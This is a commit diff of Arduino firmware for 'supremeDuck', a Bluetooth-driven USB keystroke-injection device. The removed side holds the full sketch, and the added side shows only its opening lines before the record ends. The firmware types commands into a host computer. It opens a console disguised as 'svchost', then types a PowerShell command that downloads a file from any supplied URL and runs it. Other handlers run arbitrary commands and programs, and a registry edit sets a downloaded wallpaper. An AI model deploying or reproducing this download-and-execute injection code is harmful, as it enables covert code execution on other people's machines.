Update supremeDuck.ino

Update supremeDuck.ino

--- source/supremeDuck.ino
+++ source/supremeDuck.ino
@@ -1,917 +1,917 @@
-
-/*
-supremeDuck project - https://www.youtube.com/user/MichalMonday
-Created by Michal Borowski
-*/
-
-
-/*
- *
- *
- *
- */
-
-#include <SoftwareSerial.h>
-#include "Keyboard.h"
-#include "Mouse.h"
-#include <EEPROM.h>
-
-#define LOG_SAVED_ENCODING_EEPROM false
-#define LOG_SERIAL true //setting to true makes mouse movement laggy if the serial monitor isn't open
-
-#define HC_BAUDRATE 9600 //(default baud rate of hc-06)
-
-/*
-#define EEPROM_ADDRESS_TRIGGER_TRICK 0
-trick = plug it in + plug out within 3 secs = special function is triggered(that special function is commented out in "setup" funciton)
-*/
-
-//add comma check in app or solve the bug (if data received by arduino ends with ",,end" instead of standard ",end" arduino won't respond)
-
-
-//https://www.arduino.cc/en/Reference/KeyboardModifiers
-
-//SoftwareSerial BTSerial(16, 15);
-//SoftwareSerial BTSerial(9, 8); // RX | TX these are pins responsible for communication between the bluetooth module and arduino
-SoftwareSerial BTSerial(8, 9); //old pinout (less comfortable to solder, now only 1 of these devices has it this way)
-
-#define MAX_SERIAL_LENGTH 200 //if you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
-char inSerial[MAX_SERIAL_LENGTH]; //it will contain the text sent from bluetooth module and received in arduino
-
-#define ENCODING_BYTE_DESIRED 0
-#define ENCODING_BYTE_USED 1
-#define ENCODING_BYTE_MODIFIER 2
-byte Encoding[3][100] = { //definition only applies to new devices where encoding isn't saved at EEPROM yet. By default it's US keyboard encoding
-  {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E},
-  {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E},
-  {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81}
-}; //saved at EEPROM 1-100, 101-200, 201-300
-
-
-#define EEPROM_STARTING_ADDRESS_ENCODING_DESIRED 1
-#define EEPROM_STARTING_ADDRESS_ENCODING_USED 101
-#define EEPROM_STARTING_ADDRESS_ENCODING_MODIFIER 201
-bool useMultiLangWindowsMethod = true;
-#define EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS 301
-#define EEPROM_STARTING_ADDRESS_ENCODING_NAME 302
-
-
-
-
-/*
- * keypad values copied from http://forum.arduino.cc/index.php?topic=266688.msg1880647#msg1880647
- * thanks to nickgammon's reply
- */
-
-byte KEYPAD[10] = {
-  234,
-  225,
-  226,
-  227,
-  228,
-  229,
-  230,
-  231,
-  232,
-  233
-};
-
-#define KEYPAD_0 234
-#define KEYPAD_1 225
-#define KEYPAD_2 226
-#define KEYPAD_3 227
-#define KEYPAD_4 228
-#define KEYPAD_5 229
-#define KEYPAD_6 230
-#define KEYPAD_7 231
-#define KEYPAD_8 232
-#define KEYPAD_9 233
-
-
-
-unsigned long previousSendingTime = 0; // used for sending setting data updates to the phone (current keyboard encoding, multilang thing)
-char encodingName[30];
-
-
-void setup()
-{
-  BTSerial.begin(HC_BAUDRATE);  //
-  Keyboard.begin();
-  Mouse.begin();
-
-  Serial.begin(9600);
-
-
-  /*
-  //TRIGGER TRICK
-  //plug in and out within 3 sec to trigger some action at the next plug in
-  byte triggerDefault = 0;
-  EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
-  byte c =1;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  if(triggerDefault == 1)
-  {
-    //action
-  }
-
-  delay(3000);
-  c =0;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  */
-
-  /*
-  delay(7000);
-
-  for(byte i=0;i<255;i++)
-  {
-    Keyboard.print(i);
-    Keyboard.print("-");
-    Keyboard.print((char)i);
-    Keyboard.print(", ");
-
-    delay(100);
-  }
-  */
-
-  //delay(7000);
-  //Keyboard.press((char)175);
-  //delay(15);
-  //Keyboard.releaseAll();
-
-  /*
-  Keyboard.press(KEY_LEFT_ALT);
-  delay(20);
-  Keyboard.press(KEYPAD_9);
-  delay(20);
-  Keyboard.release(KEYPAD_9);
-  delay(20);
-  Keyboard.press(KEYPAD_2);
-  delay(20);
-  Keyboard.release(KEYPAD_2);
-  delay(20);
-  Keyboard.releaseAll();
-  */
-
-  //delay(10000);
-  SavedEncodingAvailabilityCheck(); //rewrites the default US encoding with the saved one
-  SavedMultiLangMethodWindowsCheck(); //checks whether to use the alt+numpad method
-}
-
-
-void loop()
-{
-  byte i=0;
-  if (BTSerial.available() > 0)
-  {
-    unsigned long previousByteRec = millis();
-    unsigned long lastByteRec = millis();
-    while (100 > lastByteRec - previousByteRec)
-    {
-      lastByteRec = millis();
-
-      while (BTSerial.available() > 0 && i < MAX_SERIAL_LENGTH-1)
-      {
-        inSerial[i]=BTSerial.read();
-        i++;
-
-        if(i == 16)
-        {
-          if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){if(LOG_SERIAL){Serial.println(inSerial);} inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;}//MM:L,U,3,1,end (mouse movement)
-        }
-        previousByteRec = lastByteRec;
-      }
-    }
-
-    inSerial[i]='\0';
-    if(LOG_SERIAL){Serial.write(inSerial);} //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
-    Serial.write("\n");
-
-    Check_Protocol(inSerial);
-  }
-
-  unsigned long lastSendingTime = millis();
-  if(lastSendingTime - previousSendingTime > 1000)
-  {
-      previousSendingTime = lastSendingTime;
-      char data[40];
-      sprintf(data,"data=%i,%s,end", useMultiLangWindowsMethod,encodingName);
-      BTSerial.write(data);
-      for(byte i=0;i<40;i++){data[i]=0;}
-  }
-}
-
-void SavedMultiLangMethodWindowsCheck()
-{
-  EEPROM.get(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, useMultiLangWindowsMethod);
-  if(LOG_SERIAL)
-  {
-    Serial.print("MultiLang method (Windows only) setting has been read from the EEPROM - ");
-    if(useMultiLangWindowsMethod)
-    {
-      Serial.println("it's enabled.");
-    }
-    else
-    {
-      Serial.println("it's disabled.");
-    }
-  }
-}
-
-void SavedEncodingAvailabilityCheck() //rewrites the default US encoding with the one which was used last time
-{
-  byte b;
-  EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_DESIRED, b);
-  if(b > 0)
-  {
-    for(byte i=0;i<3; i++)
-    {
-      for(byte offset=0; offset<100; offset++)
-      {
-        EEPROM.get(offset+1+(100*i), Encoding[i][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-        if(LOG_SAVED_ENCODING_EEPROM)
-        {
-          Serial.print(Encoding[i][offset], HEX);
-          Serial.print(",");
-        }
-      }
-
-      if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n");}
-    }
-
-    EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
-  }
-  else if(LOG_SAVED_ENCODING_EEPROM)
-  {
-    Serial.print("No encoding available");
-    Serial.print("\n");
-  }
-}
-
-void MyFuncMouseMove(char *inStr)
-{
-  char x;
-  char y;
-
-  //MM:L,U,FF,FF,end
-  char strValBuff[3]={inStr[7],inStr[8],'\0'};
-  x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
-  strValBuff[0]=inStr[10];
-  strValBuff[1]=inStr[11];
-  y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
- //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
-  if(inStr[3] == 'L'){x = x * -1;}
-  if(inStr[5] == 'D'){y = y * -1;}
-
-  if(LOG_SERIAL){Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");}
-  Mouse.move(x, y, 0);
-
-  for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
-}
-
-void typeKey(int key)
-{
-  Keyboard.press(key);
-  delay(50);
-  Keyboard.release(key);
-}
-
-void openRun()
-{
-  Keyboard.press(KEY_LEFT_GUI);
-  delay(200);
-  Keyboard.press('r');
-  delay(200);
-  Keyboard.releaseAll();
-  delay(700);
-}
-
-void openCmd()
-{
-  openRun();
-  Print("cmd");
-  typeKey(KEY_RETURN);
-}
-
-void EnterCommand(char *text)
-{
-  Print(text);
-  delay(10);
-  typeKey(KEY_RETURN);
-}
-
-void Check_Protocol(char *inStr)
-{
-  if(!strcmp(inStr,"Enter"))
-  {
-    typeKey(KEY_RETURN);
-  }
-
-  if(!strcmp(inStr,"Alt+F4"))
-  {
-    Keyboard.press(KEY_LEFT_ALT);
-    delay(10);
-    Keyboard.press(KEY_F4);
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Increase font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('>');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Decrease font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press(KEY_LEFT_SHIFT);
-    delay(10);
-    Keyboard.press('<');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Select all"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('a');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Bold"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('b');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Underline"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
-    Keyboard.press('u');
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"click"))
-  {
-    Mouse.click();
-  }
-
-  if(StrStartsWith(inStr, "DE:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //DE:t,type:est,end (download and execute)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "DE:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
-    typeKey(KEY_RETURN);
-  }
-
-
-  if(StrStartsWith(inStr, "YT:") && StrEndsWith(inStr, ",end")) //YT:t,end (Youtube)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
-    Print("www.youtube.com/embed/");
-    Print(inStr);
-    Print("?rel=0&autoplay=1");
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "YTB:") && StrEndsWith(inStr, ",end"))//youtube control buttons
-  {
-    ExtractDeliveredText(inStr, 4);
-    if(StrContains(inStr, "PP")){Print(" ");}//pause/play
-    else if(StrContains(inStr, "F5")){Keyboard.press(KEY_RIGHT_ARROW);}//forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
-    else if(StrContains(inStr, "B5")){Keyboard.press(KEY_LEFT_ARROW);}//backward 5s
-    else if(StrContains(inStr, "GB")){Keyboard.press(KEY_HOME);}//go to begining
-    else if(StrContains(inStr, "GE")){Keyboard.press(KEY_END);}//go to end
-    else if(StrContains(inStr, "CA")){Print("c");}//captions tog
-    else if(StrContains(inStr, "IS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}//increase speed (may not work in all browsers)
-    else if(StrContains(inStr, "DS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}//decrease speed
-    else if(StrContains(inStr, "IV")){Keyboard.press(KEY_UP_ARROW);}//increase vol
-    else if(StrContains(inStr, "DV")){Keyboard.press(KEY_DOWN_ARROW);}//decrease vol
-    else if(StrContains(inStr, "PV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}//previous video (in a playlist)
-    else if(StrContains(inStr, "NV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}//next video
-    else if(StrContains(inStr, "FS")){Print("f");}//full screen tog
-    else if(StrContains(inStr, "F11")){Keyboard.press(KEY_F11);}//full screen browser tog
-    delay (70);
-    Keyboard.releaseAll();
-  }
-
-  if(StrStartsWith(inStr, "WS:") && StrEndsWith(inStr, ",end")) //WS:t,end (website)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EP:") && StrEndsWith(inStr, ",end")) //EP:t,end (execute program)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openRun();
-    Print(inStr);
-    delay(100);
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "EC:") && StrEndsWith(inStr, ",end")) //EC:t,end (execute command)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    openCmd();
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-    Print(inStr);
-    if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){typeKey(KEY_RETURN); delay(50); Print("echo a");} //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
-
-    Print(" & exit");
-    typeKey(KEY_RETURN);
-    delay(100);
-  }
-
-  //.
-
-
-
-  if(StrStartsWith(inStr ,"PT:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-  }
-
-  if(StrStartsWith(inStr ,"TE:") && StrEndsWith(inStr, ",end")) //(direct text instruction but with enter at the end )
-  {
-    ExtractDeliveredText(inStr, 3);
-    Print(inStr);
-    delay(20);
-    Keyboard.press(KEY_RETURN);
-    delay(20);
-    Keyboard.release(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr, "ENC,") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    byte encodingFactor=255;
-    switch (inStr[4]) //5th letter is D, U or M depending on the type of 3 encoding factors
-    {
-      case 'D':
-        {
-          encodingFactor=0;
-        }
-        break;
-
-      case 'U':
-        {
-          encodingFactor=1;
-        }
-        break;
-      case 'M':
-        {
-          encodingFactor=2;
-        }
-        break;
-      case 'N':
-        {
-          ExtractDeliveredText(inStr, 6);
-          sprintf(encodingName, "%s\0", inStr);
-          EEPROM.put(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
-          for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
-          return;
-        }
-        break;
-      default:
-        {
-          Serial.print("Error: Incorrect encoding factor.");
-          return;
-        }
-        break;
-    }
-
-    ExtractDeliveredText(inStr, 6);
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("Received:\n");}
-
-    for(byte offset=0; offset<strlen(inStr); offset+=2)
-    {
-      byte strValBuff[3]={inStr[offset],inStr[offset+1],'\0'};
-
-      Encoding[encodingFactor][offset/2] = (byte)strtoul((char*)strtok(strValBuff, " "),NULL,16);//(((byte)inStr[offset]) * 16) + (byte)inStr[offset+1];
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset/2], HEX);
-        Serial.print("-");
-        Serial.print(offset);
-        Serial.print("  ");
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\nSaved to EEPROM:\n");}
-
-    //save to EEPROM
-    for(byte offset=0; offset<100; offset++)
-    {
-      Encoding[encodingFactor][offset] = ((offset<(strlen(inStr)/2)) ? Encoding[encodingFactor][offset] : 0);
-      EEPROM.put(offset+1+(100*encodingFactor), Encoding[encodingFactor][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-
-      if(LOG_SAVED_ENCODING_EEPROM)
-      {
-        Serial.print(Encoding[encodingFactor][offset], HEX);
-        Serial.print(",");
-      }
-    }
-
-    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n\n");}
-
-  }
-
-  if(StrStartsWith(inStr, "SW:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //SW:t,type:est,end (download and set as a wallpaper)
-  {
-    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
-    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
-
-    char fileFormat[10];
-    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
-    for(byte i=0;i<=typeLen;i++)
-    {
-      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
-
-      if(i == typeLen){fileFormat[i] = '\0';}
-    }
-
-    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "SW:" + 1
-    {
-      inStr[i] = inStr[i+3];
-
-      if(i == indexType-3){inStr[i] = '\0';}
-    }
-
-    openCmd(); //("powershell Start-Process cmd -Verb runAs");
-    delay(500);
-    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
-
-    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
-    Print(inStr);
-    Print("'; $file = 'downloadedfile.");
-    Print(fileFormat);
-    Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
-    Print(fileFormat);
-    Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
-    typeKey(KEY_RETURN);
-  }
-
-  if(StrStartsWith(inStr ,"ML:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
-  {
-    ExtractDeliveredText(inStr, 3);
-
-    if(!strcmp(inStr,"Enabled"))
-    {
-      useMultiLangWindowsMethod = true;
-      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, true);
-      if(LOG_SERIAL){Serial.println("MultiLang method (Windows only) has been enabled.");}
-    }
-    else if(!strcmp(inStr,"Disabled"))
-    {
-      useMultiLangWindowsMethod = false;
-      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, false);
-      if(LOG_SERIAL){Serial.println("MultiLang method (Windows only) has been disabled.");}
-    }
-  }
-
-  for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
-}
-
-/*
-ENC,D:2122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414D5157595A5B5C5D5E5F6061696D7177797A7B7C7D7E,end
-ENC,U:317E333435373238392D345C3D2F37303132333435363738392F5C2C302E2D71616D7177797A382D39333D5C61226D7177797A375C305D,end
-ENC,M:81008686818181818100810000008100000000000000000000818181818181868181818181818686868181860000000000000086818686,end
-*/
-
-void ExtractDeliveredText(char *inStr, byte ignoredStartingChars) //gets rid of the first 3 chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
-{
-  byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;
-
-  for(byte i=0;i<=len;i++)
-  {
-    inStr[i] = inStr[i+ignoredStartingChars];
-    if(i == len)
-    {
-      inStr[i] = '\0';
-    }
-  }
-}
-
-int SubStrIndex(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len = strlen(str);
-
-    if (strlen(sfind) > len)
-    {
-        return 0;
-    }
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found)
-            {
-                index = index - strlen(sfind) + 1;
-                return index;
-            }
-        }
-        else{found = 0;}
-
-        index++;
-    }
-
-    return 0;
-}
-
-bool StrContains(char *str, char *sfind)
-{
-    byte found = 0;
-    byte index = 0;
-    byte len;
-
-    len = strlen(str);
-
-    if (strlen(sfind) > len) {return false;}
-
-    while (index < len)
-    {
-        if (str[index] == sfind[found])
-        {
-            found++;
-            if (strlen(sfind) == found) {return true;}
-        }
-        else {found = 0;}
-
-        index++;
-    }
-    return false;
-}
-
-bool StrStartsWith(char* str, char* desiredStart)
-{
-  if(strlen(desiredStart)>strlen(str)){return false;}
-
-  byte matching = 0;
-  for(byte i=0; i < strlen(desiredStart); i++)
-    if(str[i] == desiredStart[i])
-      matching++;
-
-  if(matching == strlen(desiredStart))
-    return true;
-
-  return false;
-}
-
-bool StrEndsWith(char* str, char* desiredEnd)
-{
-  if(strlen(desiredEnd)>strlen(str))
-  {
-    return false;
-  }
-  byte matching = 0;
-  byte desiredEndLen = strlen(desiredEnd);
-  byte baseStrLen = strlen(str);
-  for(byte i=0;i<strlen(desiredEnd);i++)
-  {
-    if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i]){matching++;}
-  }
-
-  if(matching == desiredEndLen){return true;}
-
-  return false;
-}
-
-
-
-void Print(char *inStr)
-{
-
-  //Print_WinMultiLangCHAR_PTR(inStr);
-  //return;
-
-  int enc_index;
-
-  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
-  {
-    if (useMultiLangWindowsMethod && ((!isalnum(inStr[i]) && inStr[i] != ' ') || IsException(inStr[i]))) //if character is punctuation or requires different button to be pressed in different keyboard language settings then use alt+numpad method
-    //if(IsCharSpecial(inStr[i]))
-    {
-      //Serial.print("special char = ");
-      //Serial.println(inStr[i]);
-
-      byte hundreds = (byte)inStr[i] / 100;
-      byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
-      byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
-
-      //Serial.print(hundreds);
-      //Serial.print(dozens);
-      //Serial.println(singles);
-
-      Keyboard.press(KEY_LEFT_ALT);
-      PressRelease((char)KEYPAD[hundreds], 5);
-      PressRelease((char)KEYPAD[dozens], 5);
-      PressRelease((char)KEYPAD[singles], 5);
-      Keyboard.releaseAll();
-      continue;
-    }
-
-
-    enc_index = GetKeyIndex(inStr[i], Encoding[ENCODING_BYTE_DESIRED]);
-    if(enc_index < 256) //256 means it's a key not present in the array (key which does not need a substitution because it is the same for any keyboard setting)
-    {
-      if(Encoding[ENCODING_BYTE_MODIFIER][enc_index] > 0)
-      {
-        Keyboard.press(Encoding[ENCODING_BYTE_MODIFIER][enc_index]);
-        delay(5);
-      }
-
-      Keyboard.press(Encoding[ENCODING_BYTE_USED][enc_index]);
-      delay(5);
-
-      //Serial.print(inStr[i]);
-      //Serial.print(", ");
-      //Serial.print(Desired_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print(Modifier_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print(Used_Keys[enc_index]);
-      //Serial.print(", ");
-      //Serial.print("\n");
-
-    }
-    else
-    {
-      Keyboard.press(inStr[i]);
-      //Serial.print(", ");
-      //Serial.println(inStr[i]);
-      delay(5);
-
-    }
-
-    Keyboard.releaseAll();
-  }
-}
-
-int GetKeyIndex(byte c, byte* char_array)
-{
-  for(byte i=0;i<strlen(char_array);i++)
-  {
-    if(c == char_array[i])
-    {
-      return i;
-    }
-  }
-  return 256;
-}
-
-
-/*
-void Print_WinMultiLangCHAR_PTR(char *inStr)
-{
-  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
-  {
-    byte hundreds = (byte)inStr[i] / 100;
-    byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
-    byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
-
-    Keyboard.press(KEY_LEFT_ALT);
-    PressRelease((char)KEYPAD[hundreds], 5);
-    PressRelease((char)KEYPAD[dozens], 5);
-    PressRelease((char)KEYPAD[singles], 5);
-    Keyboard.releaseAll();
-  }
-}
-
-void Print_WinMultiLangSTR(String inStr)
-{
-  for(byte i=0; i<inStr.length(); i++)//for each character in the string
-  {
-    byte hundreds = (byte)inStr.charAt(i) / 100;
-    byte dozens = ((byte)inStr.charAt(i) - (hundreds*100)) / 10;
-    byte singles = (byte)inStr.charAt(i) - (hundreds*100) - (dozens*10);
-
-    Keyboard.press(KEY_LEFT_ALT);
-    PressRelease((char)KEYPAD[hundreds], 5);
-    PressRelease((char)KEYPAD[dozens], 5);
-    PressRelease((char)KEYPAD[singles], 5);
-    Keyboard.releaseAll();
-  }
-}
-
-*/
-
-void PressRelease(char c, byte timeDelay)
-{
-  Keyboard.press(c);
-  delay(timeDelay);
-  Keyboard.release(c);
-}
-
-
-/*
-Exceptions are the letters that require different button being pressed in different lang settings
-(so if letter == exception then use alt+numpad method, otherwise use the normal typing because it's faster to press 1 instead of 4 buttons)
-these exceptions are listed to make the typing process faster because using alt+numpad method for all the characters appears to be too slow
-
-german - yz
-french - qamwz
-dutch - qamwz
-turkish - i
-azerbaijani - totally uncompatible
-*/
-
-#define EXCEPTIONS_SIZE 14
-char exceptions[EXCEPTIONS_SIZE] = {
-  'y','Y',
-  'z','Z',
-  'q','Q',
-  'a','A',
-  'm','M',
-  'w','W',
-  'i','I',
-};
-
-/*
-bool IsCharSpecial(char c)
-{
-  byte b = (byte)c;
-  if((b == 32 || (b >= 49 && b <= 57) || (b >= 65 && b <= 90) || (b >= 97 && b <= 122)) && IsntException(b))
-  {
-    return false;
-  }
-  return true;
-}
-*/
-
-bool IsException(char c)
-{
-  for(byte i=0; i<EXCEPTIONS_SIZE; i++)
-  {
-    if(c == exceptions[i])
-    {
-      return true;
-    }
-  }
-  return false;
-}
-
-
-
-
-
-
-
-
-
-
+
+/*
+supremeDuck project - https://www.youtube.com/user/MichalMonday
+Created by Michal Borowski
+*/
+
+
+/*
+ *
+ *
+ *
+ */
+
+#include <SoftwareSerial.h>
+#include "Keyboard.h"
+#include "Mouse.h"
+#include <EEPROM.h>
+
+#define LOG_SAVED_ENCODING_EEPROM false
+#define LOG_SERIAL true //setting to true makes mouse movement laggy if the serial monitor isn't open
+
+#define HC_BAUDRATE 9600 //(default baud rate of hc-06)
+
+/*
+#define EEPROM_ADDRESS_TRIGGER_TRICK 0
+trick = plug it in + plug out within 3 secs = special function is triggered(that special function is commented out in "setup" funciton)
+*/
+
+//add comma check in app or solve the bug (if data received by arduino ends with ",,end" instead of standard ",end" arduino won't respond)
+
+
+//https://www.arduino.cc/en/Reference/KeyboardModifiers
+
+//SoftwareSerial BTSerial(16, 15);
+SoftwareSerial BTSerial(9, 8); // RX | TX these are pins responsible for communication between the bluetooth module and arduino
+//SoftwareSerial BTSerial(8, 9); //old pinout (less comfortable to solder, now only 1 of these devices has it this way)
+
+#define MAX_SERIAL_LENGTH 200 //if you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
+char inSerial[MAX_SERIAL_LENGTH]; //it will contain the text sent from bluetooth module and received in arduino
+
+#define ENCODING_BYTE_DESIRED 0
+#define ENCODING_BYTE_USED 1
+#define ENCODING_BYTE_MODIFIER 2
+byte Encoding[3][100] = { //definition only applies to new devices where encoding isn't saved at EEPROM yet. By default it's US keyboard encoding
